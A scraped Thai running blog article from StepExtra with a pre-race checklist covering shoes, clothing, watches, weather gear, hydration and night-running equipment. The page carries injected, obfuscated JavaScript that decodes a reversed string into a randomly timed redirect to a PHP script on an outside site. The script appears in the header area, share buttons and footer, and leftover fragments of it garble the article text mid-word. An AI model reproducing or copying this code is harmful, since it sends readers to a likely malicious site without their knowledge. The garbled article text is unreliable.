andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2015/05/landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg","width":1280,"height":851},{"@type":"WebPage","@id":"https://www.stepextra.com/%e0%b9%80%e0%b8%95%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%a1%e0%b8%95%e0%b8%b1%e0%b8%a7%e0%b9%83%e0%b8%ab%e0%b9%89%e0%b8%9e%e0%b8%a3%e0%b9%89%e0%b8%ad%e0%b8%a1%e0%b8%81%e0%b9%88%e0%b8%ad%e0%b8%99%e0%b8%a7/#webpage","url":"https://www.stepextra.com/%e0%b9%80%e0%b8%95%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%a1%e0%b8%95%e0%b8%b1%e0%b8%a7%e0%b9%83%e0%b8%ab%e0%b9%89%e0%b8%9e%e0%b8%a3%e0%b9%89%e0%b8%ad%e0%b8%a1%e0%b8%81%e0%b9%88%e0%b8%ad%e0%b8%99%e0%b8%a7/","name":"เตรียมตัวให้พร้อมก่อนวิ่ง","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/%e0%b9%80%e0%b8%95%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%a1%e0%b8%95%e0%b8%b1%e0%b8%a7%e0%b9%83%e0%b8%ab%e0%b9%89%e0%b8%9e%e0%b8%a3%e0%b9%89%e0%b8%ad%e0%b8%a1%e0%b8%81%e0%b9%88%e0%b8%ad%e0%b8%99%e0%b8%a7/#primaryimage"},"datePublished":"2015-05-22T09:44:17+00:00","dateModified":"2015-05-22T09:44:17+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/d96eb85d4b459da34329e94d5a101a08"},"description":"เตรียมตัวให้พร้อมก่อนวิ่ง อาจจะเป็นตัวตัดสินว่าคุณจะเข้าเส้นชัย หรือไม่ก็ DNF และการเตรียมอุปกรณ์และสิ่งจำเป็นติดตัวจะช่วยให้เราสนุกกับงานวิ่งได้มากขึ้น","breadcrumb":{"@id":"https://www.stepextra.com/%e0%b9%80%e0%b8%95%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%a1%e0%b8%95%e0%b8%b1%e0%b8%a7%e0%b9%83%e0%b8%ab%e0%b9%89%e0%b8%9e%e0%b8%a3%e0%b9%89%e0%b8%ad%e0%b8%a1%e0%b8%81%e0%b9%88%e0%b8%ad%e0%b8%99%e0%b8%a7/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/%e0%b9%80%e0%b8%95%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%a1%e0%b8%95%e0%b8%b1%e0%b8%a7%e0%b9%83%e0%b8%ab%e0%b9%89%e0%b8%9e%e0%b8%a3%e0%b9%89%e0%b8%ad%e0%b8%a1%e0%b8%81%e0%b9%88%e0%b8%ad%e0%b8%99%e0%b8%a7/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/%e0%b9%80%e0%b8%95%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%a1%e0%b8%95%e0%b8%b1%e0%b8%a7%e0%b9%83%e0%b8%ab%e0%b9%89%e0%b8%9e%e0%b8%a3%e0%b9%89%e0%b8%ad%e0%b8%a1%e0%b8%81%e0%b9%88%e0%b8%ad%e0%b8%99%e0%b8%a7/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"เตรียมตัวให้พร้อมก่อนวิ่ง"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/d96eb85d4b459da34329e94d5a101a08","name":"Kanthad Yangsattha","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/2cebb1c6873deaf6ac2cec1320ba08a6?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/2cebb1c6873deaf6ac2cec1320ba08a6?s=96&d=mm&r=g","caption":"Kanthad Yangsattha"},"url":"https://www.stepextra.com/author/mahakan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

เตรียมตัวให้พร้อมก่อนวิ่ง

Kanthad Yangsattha by Kanthad Yangsattha
22 May 2015
in Feature, Running Tips, Tips & Technics
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg">
เตรียมตัวให้พร้อมก่อนวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg&description=%E0%B9%80%E0%B8%95%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%A1%E0%B8%95%E0%B8%B1%E0%B8%A7%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B8%9E%E0%B8%A3%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%81%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87" rel='nofollow' class="jeg_btn-pinterest ">

เตรียมตัวให้พร้อมก่อนงานวิ่ง

พรุ่งนี้คืองานวิ่งครั้งแรกของคุณ หรือว่ามันคืองานวิ่ง half หรือ Full มาราธอนครั้งแรก การเตรียมตัวให้พร้อมอาจจะเป็นตัวตัดสินว่าคุณจะเข้าเส้นชัยหรือไม่ก็ DNF (Do Not Finnish) ก็ได้ การเตรียมอุปกรณ์และสิ่งจำเป็นติดตัวจะช่วยให้เราสนุกกับงานวิ่งได้มากขึ้น แถมมีผลช่วยเพิ่มพลังใจและ Boost performance ของเราอีกนิดด้วยนะ

เชื่อว่าหลายๆ ครั้งที่เราต้องรู้สึกเซ็งในอารมณ์เวลาเจ้ามือถือแบตหมด รองเท้าใหม่กัด หิวตลอดเวลาวิ่ง ฉะนั้นเจ้าอุปกรณ์ที่จำเป็นต้องห้ามลืมเด็ดขาด รองเท้า เสื้อวิ่ง อุปกรณ์เสริม มือถือและขนมรองท้องต้องท่องเอาไว้ให้ขึ้นใจหลายๆ ครั้ง ว่าห้ามลืม จะเขียนโน้ตแปะไว้กันลืมก็ได้นะ

running-573762_1280

เรามาดู Checklist ก่อนไปงานวิ่งกันก่อน….

  1. รองเท้าวิ่ง กรุณาใช้รองเท้าที่คุณใส่ฝึกซ่อมเป็นประจำ รองเท้าที่ผ่านการใช้งานมาแล้ว ไม่ว่าจะเป็นคู่ที่ใช้ฝึกหรือใช้แข่ง ห้ามใช้คู่ใหม่แกะกล่องเด็ดขาด ไม่งั้นโอกาสรองเท้ากัดจะสูงมาก
  2. ชุดวิ่ง ชุดวิ่งมีผลต่อจิตใจของเรามาก ช่วยเพิ่มความมั่นใจ เวลาเลือกเสื้อให้เลือกที่ใส่แล้วสบาย ไม่กัดผิวหนัง ระบายอากาศดี ยิ่งต้องแข่งระยะทางไกลควรเลือกที่น้ำหนักเบาระบายเหงื่อได้ดี
  3. ถุงเท้าวิ่ง เลือกถุงเท้าที่เหมาะกับคุณ โดยส่วนมากคุณต้องลองผิดลองถูกเอง บางคนเลือกแบบ compression sock แบบรัดกระชักอุ้งเท้าไปเลย แต่หลักที่สำคัญคือ ต้องช่วยระบายเหงื่อได้ดี ให้ความรู้สึกว่าเท้าแห้ง อาจจะลื่นนิดหน่อยแต่จะช่วยป้องกันเท้าพอง (blister) ถ้าคู่ดีๆ หน่อยก็จะให้ความรู้สึกหนานุ่มขึ้นมาอีก
  4. นาฬิกา GPS Watch และ Smartphone สำคัญที่สุดคือแบตเตอรี่ ควรเสียบชาร์จไว้ตั้งแต่คืนก่อนวิ่งเลย เอาให้แบตเต็ม 100 % เวลาวิ่งจะได้ไม่ดับกลางทาง และก่อนถึงเวลาวิ่งก็ควรทำการ pair อุปกรณ์กันก่อนหรือวอร์มอัพเครื่องกันนิดก่อนวิ่งจริง

หลังจากตรรวจดูอุปกรณ์จำเป็นพื้นฐานแล้วเรามากันต่อกันที่การเตรียมอุปกรณ์ให้เหมาะกับสภาพอากาศ

สามารถดูพยากรณ์ล่วงหน้าผ่านแอพมือถือหรือเปิดคอมดูก็ได้ อย่างน้อยก็ได้รู้ว่าพรุ่งนี้จะแดดออกหรือฝนตก จะได้จัดเตรียมชุดให้ถูกต้อง สำหรับคนในเขตร้อนอย่างเราคงไม่มีอะไรมากแต่สำหรับคนในเขตหนาว คงต้องเตรียมเสื้อผ้ากันอีกหลายชั้นเลยล่ะ

สิ่งที่เตรียมไว้รับมือกับสภาพอากาศได้แก่

  1. สำหรับใครที่อยู่ในเมืองหนาว กรุณาเตรียมถุงมือและถุงเท้าที่หนาวถึงสำหรับรับมือกับอากาศที่หนาวขึ้น
  2. Head bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ผ้าโพกหัวแบบต่างๆ นอกจากช่วยกันเหงื่อและแดดได้แล้ว สำหรับคนเมืองหนาวจะช่วยลดการสูญเสียความร้อนทางศรีษะได้ดี
  3. โลชั่น Sunscreen ทาก่อนออกวิ่งทุกครั้งอย่างน้อย 15 นาทีก่อนวิ่ง ยิ่งหน้าร้อนเมืองทยแนะนำให้ละเลงทั่วตัว ไม่งั้นผิวไหม้หมดแน่ๆ
  4. ถัดจากโลชั่นทางกันแดดแล้วก็อย่าลืมแว่วกันเเดด (Sun Glasses) นอกจากช่วย้องกันรังสี UV แล้วยังช่วยให้วิสัยทัศน์เราดีขึ้นด้วย
  5. หมวก จะแบบปิดเต็มใบหรือแบบเปิด จะช่วยป้องกันศรีษะและใบหน้าจากแสงแดด

15722003321_7285104a2f_z

ถัดไปคืออุปกรณ์ที่ช่วยรักษาระดับน้ำในร่างกายของคุณ ยิ่งในวันที่อากาศร้อนมากๆ การดูแลตัวเองและการรักษาระดับน้ำหรือของเหลวในร่างกายยิ่งจำเป็นเพื่อป้องการอาการบาดเจ็บและการเป็นตะคริว

  1. Running belt ถือเป็นไอเท็มพิเศษที่คุณสามารถพกพาน้ำและของคบเคี้ยวหรือพวก powergel ไว้ใช้ในกรณีที่ต้องการ เหมาะกับการวิ่งระยะกลางและไกล เจ้า running belt จะช่วยได้เยอะมากเลย รับรองว่าคุณมีพลังงานไว้เติมเรื่อยๆ
  2. Hydration backpack สำหรับใครที่ต้องการน้ำเยอะๆ หรือต้องวิ่งระยะทางไกลมากๆ อย่าง Ultra trail 100 โลขึ้นไป เจ้ากระเป๋า Hydration backpack สามารถจุน้ำได้เป็นลิตร ไม่ต้องเติมน้ำบ่อยๆ แถมขนเสบียงไปได้เยอะกว่า running belt ด้วย แต่ก็ต้องแลกกับน้ำหนักที่เพิ่มขึ้นมา

จากเรื่องสภาพดินฟ้าอากาศเรามาดูวิธีเพิ่มพลังใจกัน…

  1. เพลง การฟังเพลง นอกจากช่ยกระตุ้นให้เราวิ่งเร็วขึ้นแล้วบางครั้งยังช่วยให้ลืมอาการเมื่อยล้าได้ด้วย
  2. การเลือกหูฟัง ปัจจุบันมีการผลิต Sport earphones หลายแบบหลายยี่ห้อ เราต้องเลือกแบบที่ฟิตพอดีกับหูและต้องป้องกันไหลลื่นจากศรีษะได้ด้วย
  3. เสื้อหลากสีสรร อย่าใส่แต่สีทึ่มๆ ให้หันมาใส่สีสรรสดใสเสียบ้าง เวลาถ่ายรูปติดจะได้เห็นชัดเจน แถมเด่นเป็นสง่า ใครเห็นใครทัก
  4. Powergel หรือพวก Powersnack และเครื่องดื่ม sprot drink จะช่วยเติมพลังงานให้คุณจนถึงเส้นชัย มีพกติดไว้บ้างในยามร่างกายต้องการพลังงาน อย่างการวิ่งระยะทาง 21 กิโลจนถึงอัลตร้า 100 โล

SIS_Running_210214_2868994b

สำหรับใครที่ต้องวิ่งเวลามืดกลางคืน อุปกรณ์ที่ควรพกพาไปด้วยคือ

  1. Headlamp ไฟฉายติดหัว สะดวกในการพกพาเพียงคาดไว้ที่หัว
  2. Safety clips หรือ Reflector strips (แผ่นคาดสะท้อนแสง) ช่วยให้คนที่ตามหลังมามองเห็นเรา

อุปกรณ์เสริมที่ช่วยเพิ่มอรรถรสในการวิ่ง

  1. Sport armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and สำหรับใส่มือถือ
  2. Shoes lances หรือ free lances ช่วยลดปัญหาเชือกผูกรองเท้าหลุดบ่อยๆ
  3. วาสลีน เอาไว้ทาตามงามขา ระหว่างข้อขาพับต่างๆ ลดการเสียดสี

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-4-site.jpg”>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-4-site-400×266.jpg” alt=”Armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-4-site” width=”400″ height=”266″ />

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg&description=%E0%B9%80%E0%B8%95%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%A1%E0%B8%95%E0%B8%B1%E0%B8%A7%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B8%9E%E0%B8%A3%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%81%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87" rel='nofollow' class="jeg_btn-pinterest ">
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.